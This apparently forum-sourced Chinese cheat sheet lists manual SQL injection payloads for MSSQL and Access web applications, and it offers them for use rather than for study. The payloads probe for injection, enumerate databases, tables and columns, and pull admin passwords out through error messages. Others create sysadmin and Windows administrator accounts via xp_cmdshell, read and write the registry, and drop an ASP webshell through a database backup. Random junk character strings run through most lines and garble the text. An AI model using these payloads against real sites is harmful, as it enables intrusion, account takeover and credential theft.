1.判断是否有注入
5 v( V8 z0 V2 G9 Z; f;and 1=1 / ^, r, \& w) U% A' i) \+ ~, S
;and 1=2
+ D1 t }) |: n- D1 w
: I. M1 ]9 R: Y; y& z$ B2.初步判断是否是mssql
7 I) B: o" Y$ @7 P;and user>0 5 ]# H4 X' j' ?# K7 }3 h7 G/ O
6 i+ m4 ?& O: }
3.判断数据库系统
* O6 z& t J. E, ~% c/ B1 c* S;and (select count(*) from sysobjects)>0 mssql
+ @* T" {3 O1 e4 P;and (select count(*) from msysobjects)>0 access
8 E5 G, [8 d' W, n% ]8 N8 t1 Z: s5 A) b+ s
4.注入参数是字符
: U! Z0 z) z+ j9 k3 ]! C0 u'and [查询条件] and ''='
7 ^3 t+ w; a5 E' P1 U
& R- A& c1 S, o: }) |$ K5.搜索时没过滤参数的
8 j3 ]: q1 u+ O! a'and [查询条件] and '%25'=' " e+ M+ g: z+ e4 ?: {4 b; L" h
' ~4 j1 |- B v7 S9 Y+ O8 L4 a
6.猜数表名 $ P3 `+ i- n0 q7 @3 {, F6 n0 `/ l
;and (select Count(*) from [表名])>0 ( i3 g* B. l2 t
' i+ j% h5 j$ J9 I% F" j0 ?( z7.猜字段 ; Y5 {6 p* c( I7 S
;and (select Count(字段名) from 表名)>0 6 D% d4 R4 J c$ S# [7 E
6 g2 F8 J0 \! E& E3 R3 n" w
8.猜字段中记录长度
8 s( m8 l( v( V;and (select top 1 len(字段名) from 表名)>0
- Q5 t4 d! ~' |- Q/ z+ C1 I7 y
9 a. i- y6 x9 z" \) q c' h9 p9.(1)猜字段的ascii值(access) 7 `. _% J. X, U2 |. f
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 # }+ j+ l4 [$ a
8 j, x3 f; H& W- f9 h! B& N8 X
(2)猜字段的ascii值(mssql)
9 [0 u e/ d5 x; l8 b Q% k4 I; `;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 8 b) V1 q- P- O' [7 P2 ?6 d/ c
# s/ S# {% s+ C1 M2 N3 t# r- `) D
10.测试权限结构(mssql)
# L6 n" e) J; ]" n, g& x;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
+ {1 V/ m. L, s+ M;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
# i2 Z9 {3 ~3 X# Q9 p3 q* `;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
9 W) F8 v; b* I, z;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
& i/ S% a: g o;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
* E% ]2 R; {5 U- G! H9 F;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ) q% J' U1 @6 O8 Y
;and 1=(select IS_MEMBER('db_owner'));-- $ y8 h* R$ e d$ D; ^
6 W0 D* Z; d5 i# S
11.添加mssql和系统的帐户
C' }, O2 N6 W;exec master.dbo.sp_addlogin username;--
5 q B) g. J0 Q$ b) I. H# X;exec master.dbo.sp_password null,username,password;-- ( h' |' `9 s6 h. x
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
Y3 F& ^' H3 f1 r;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ! O* n: R) K ]" E1 U
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 8 \4 |# Y# j2 \! p
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
1 q8 `5 H1 |: G A: X5 {7 _4 Q+ ~$ q) h8 B+ z3 d
12.(1)遍历目录 4 y- D' _3 K+ n9 \8 v; N* C* l6 L
;create table dirs(paths varchar(100), id int) / T1 d" {; \4 b
;insert dirs exec master.dbo.xp_dirtree 'c:\' 2 m. \9 y* ^/ ]5 q/ k
;and (select top 1 paths from dirs)>0
& h2 E8 W% e% u;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) : x, E, B/ p4 q. s: T
o! A2 p' v2 _, I0 [( H
(2)遍历目录
7 \; u: T# ` B) y: g4 Z;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- " d% e4 n K# ?9 ^0 G9 s
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 3 B: b' u$ l1 b8 l0 k
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
e4 v9 ~0 z$ [" G6 `;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 + O, U! H0 L, X! c+ R3 H
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
" d V) d+ y5 Q- Y3 S$ A6 r7 y3 Y) I$ c4 @
13.mssql中的存储过程
' i2 g5 R9 a- @( j Uxp_regenumvalues 注册表根键, 子键 * k. j: T# Y( c6 `) H
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ) L! i9 P& x) B N1 Q6 R- x
xp_regread 根键,子键,键值名 ! u, w, ^% U) q" a( L c! S+ x) y P
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 1 P+ A$ {3 `' ^3 i# {5 b
xp_regwrite 根键,子键, 值名, 值类型, 值 0 X1 q5 [% V8 {" V
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
4 m4 t8 U" B& Z# r# v;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
/ D/ t1 s z, r% V1 E& _7 |xp_regdeletevalue 根键,子键,值名
T2 n0 S* Y* M% `- \" ^* Kexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
( t9 G* l, q; wxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
$ k, v) c9 a2 f6 k/ F q' h/ e5 _, w8 D5 i9 v( i* G7 f' U) [
14.mssql的backup创建webshell
8 Z! z" L' x7 b! b$ A8 ?use model , z2 [/ Q" ]$ i$ _ X! t$ s
create table cmd(str image);
5 s: N% {6 e, t9 Ainsert into cmd(str) values ('<% Dim oScript %>');
) s1 U6 p+ y$ D% ?6 @! _3 rbackup database model to disk='c:\l.asp'; $ Y3 ~' B, G4 ]; O, {
6 V) Z& U) m* l6 r
15.mssql内置函数 8 W% J' n& e. I5 N& `! \
;and (select @@version)>0 获得Windows的版本号
1 n! F3 _0 k& {. z, W E;and user_name()='dbo' 判断当前系统的连接用户是不是sa
/ `* \# Z* o; G, {;and (select user_name())>0 爆当前系统的连接用户
$ w0 h2 L) t4 x;and (select db_name())>0 得到当前连接的数据库
+ p# U/ ~% r3 H% h/ E. v
; Z Z: C( H# g8 v. `4 }: ^& @; F/ E( E7 @
, x4 h1 D8 `4 A1 y! Q9 f. {MSSQL手注暴库
/ ^3 M7 s$ g& h7 }$ _
# Q0 s, B- z+ G" t; B1.暴出当前表名和列名7 R8 F( i- N% a0 x4 D2 O
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
; b2 r' w" V# A4 P" h
. j( l% [# \# V9 i第一.爆出所有数据库名
2 M* u4 R3 ]0 t" h, C利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。( S/ U! S7 j/ E
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。' I4 E2 i2 V( F% B' b- ]
% k) T9 Z1 I8 D& r( land 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
: T) p2 D: E' R, q5 a" q% v; \$ X! a7 [4 v |6 {, U
, C& }% D; } M7 g" z第二.爆出指定库中的所有表名3 _- q( { Z$ s, W
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。% P5 r: C% X$ x3 I& x7 k, G
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
; K% e2 l" a5 d/ ~/ s# M7 g+ S* k0 O2 @
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--+ e# ~ s- h3 M
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--* Z. o5 F- e. i7 w" E% I
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--9 ?+ E; x i7 T- u5 \, {; W
8 q C2 l" ^8 M# D" s
4.爆出指定表中的所有列名
4 T A1 Q0 g$ \$ hand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
% u1 z3 S# j! K: _//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
' H! i; o: m5 ^' ~% e
9 w Y' o! `: Q+ W- pand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
+ R- h) }, V2 _# q3 ~5 P/ w
. z1 t3 W$ {3 i! [4 [再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- " B+ C% n% ` n5 h( s1 Y
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
5 `8 L( g# z) b- B" j; ^! a& z1 R6 ]! l. I7 V% h: [
! M* k) n' H' ]) wand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
, L* K) u5 R/ ]8 i4 U5 r& w U+ L! q$ {! s4 n4 F8 t
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名 g9 N: ^8 c; A" O) Q; |! ~: Y
# Q( v# ? D5 Z) j! ] `8 Jand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- . ?- D6 N) C# l7 _6 {
; I% D0 o& C" g, E! d/ w( n& T
7 W/ d0 m @5 ~7 a% ]0 i; k8 x3 ~) `4 V( W5 Y; W1 p0 E4 W. Q
5.读取指定表中的数据: x7 O( }" |1 I
9 A) }, D4 K+ V) L
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 5 D0 w, i- B8 g/ W+ j+ e2 k" I
1 J9 X6 U; N" u( S7 R9 wand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
7 B* M2 z9 I- \; Q, P- \
+ k1 H- i+ W6 e3 n0 Y; b: Z% |and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
& u/ F$ b6 [, F1 K/ i W. T8 e7 ~: e A1 Z
; \: z2 E% ]8 m- T1 }$ [+ w# ]' G1 R* e5 l2 \/ c
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)7 ]- B; f: L. E4 a
& m+ r! z! H& R5 {" z& E# N
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
3 G# j) F7 F2 P: h/ y) a: ~1 E; W8 B4 f+ J1 f, j
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--, M; d" X6 A% ?3 w- x
6 J% L5 z, Y: f0 {7 X
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
, ]/ s$ U& o! ?. u% i% ^ |